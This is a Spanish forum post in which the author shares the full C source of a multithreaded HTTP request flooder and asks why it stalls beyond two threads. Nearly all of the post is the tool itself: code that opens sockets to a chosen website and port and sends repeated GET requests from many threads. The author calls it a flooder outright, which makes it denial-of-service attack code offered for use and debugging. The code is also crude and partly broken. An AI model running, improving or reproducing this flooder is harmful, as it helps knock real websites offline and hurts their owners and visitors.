Cita de: xiruko en 27 Octubre 2012, 21:50 PM
sin el codigo completo es algo dificil adivinar de donde viene el error...
Código (c) [Seleccionar]
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <sys/types.h>
#include <signal.h>
#define MAX_dani 0xF0000
struct params{
char web[20];
int port;
int thread;
int nrequests;
int sleeptime;
};
int total_requests;
pthread_mutex_t lock;
int nthreads;
void* t(void *p)
{
int n = ((struct params*)p)->thread + 1;
printf("Proceso %i: presente\n", n);
char request[128];
char buff[10000] = {'\0'};
struct hostent *host = gethostbyname(((struct params*)p)->web);
if(!host)
{
printf("Proceso %i: No se ha podido resolver la direccion del servidor\n", n);
return NULL;
}
printf("Proceso %i: host->h_addr: %s\n", n, inet_ntoa(*((struct in_addr *)host->h_addr)));
struct sockaddr sockbuf;
int stsize = sizeof(sockbuf);
struct sockaddr_in sock;
sock.sin_family = AF_INET;
sock.sin_port = htons(((struct params*)p)->port);
sock.sin_addr.s_addr = inet_addr(inet_ntoa(*((struct in_addr *)host->h_addr)));
printf("Proceso %i: Direccion: %d\n", n, sock.sin_addr.s_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sockfd==-1)
{
printf("Proceso %i: No se pudo crear el socket\n", n);
return NULL;
}
printf("Proceso %i: Socket creado\n", n);
printf("Proceso %i: Conectando...\n", n);
int aux;
connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr));
printf("Proceso %i: Conectado\n", n);
sprintf(request, "GET / HTTP/1.1\nHost: %s\nUser-Agent: Mozilla/4.0\n\n ", host->h_name);
printf("Proceso %i: Peticion en request\n", n);
for(aux=0; aux<(((struct params*)p)->nrequests); aux++)
{
switch(getpeername(sockfd, &sockbuf, &stsize))
{
case 0: break;
case ENOTCONN:
printf("Proceso %i: reconectando socket...", ((struct params*)p)->thread);
close(sockfd);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(connect(sockfd, (struct sockaddr*) &sock, sizeof(struct sockaddr))==-1) continue;
else break;
}
write(sockfd, request, strlen(request));
printf("Proceso %i: %i peticion/es\n", n, aux+1);
pthread_mutex_lock(&lock);
total_requests++;
sleep((((struct params*)p)->sleeptime)/nthreads);
pthread_mutex_unlock(&lock);
}
close(sockfd);
pthread_exit(NULL);
}
int main(int argc, char *argv[])
{
pthread_mutex_init(&lock, NULL);
pthread_t *mythreads = (pthread_t*)malloc(atoi(argv[1])*sizeof(pthread_t));
pthread_attr_t a;
struct params *p = (struct params*)malloc(atoi(argv[1])*sizeof(struct params));
int i, ret, j;
nthreads = atoi(argv[1]);
for(j=0; j<nthreads; j++)
{
strcpy(p[j].web, argv[2]);
p[j].thread = j;
p[j].port = atoi(argv[3]);
p[j].nrequests = atoi(argv[4]);
p[j].sleeptime = atoi(argv[5]);
}
pthread_attr_init(&a);
pthread_attr_setstacksize(&a, MAX_dani);
for(i=0; i<nthreads; i++)
{
ret = pthread_create(&mythreads[i], &a, t, &p[i]);
switch(ret)
{
case 0:
printf("Thread %i creado\n", i+1);
break;
case EAGAIN:
printf("EAGAIN\n");
_exit(1);
case EINVAL:
printf("EINVAL\n");
_exit(2);
case EPERM:
printf("EPERM\n");
_exit(3);
}
}
pthread_attr_destroy(&a);
for(j=0; j<nthreads; j++)
pthread_join(mythreads[j], NULL);
pthread_mutex_destroy(&lock);
printf("Retornaron los hilos\n");
printf("Total de peticiones: %i\n", total_requests);
return 0;
}
Es un flooder, o al menos eso intento. Los parametros son: numero_de_threads web puerto(80) numero_de_peticiones_por_thread tiempo_de_espera. Si le pones 2 threads y unos 10 segundos de espera funciona, pero a partir de 3 threads da igual el tiempo que le pongas, llega a hacer 2 o 3 peticiones por thread.
Saludos.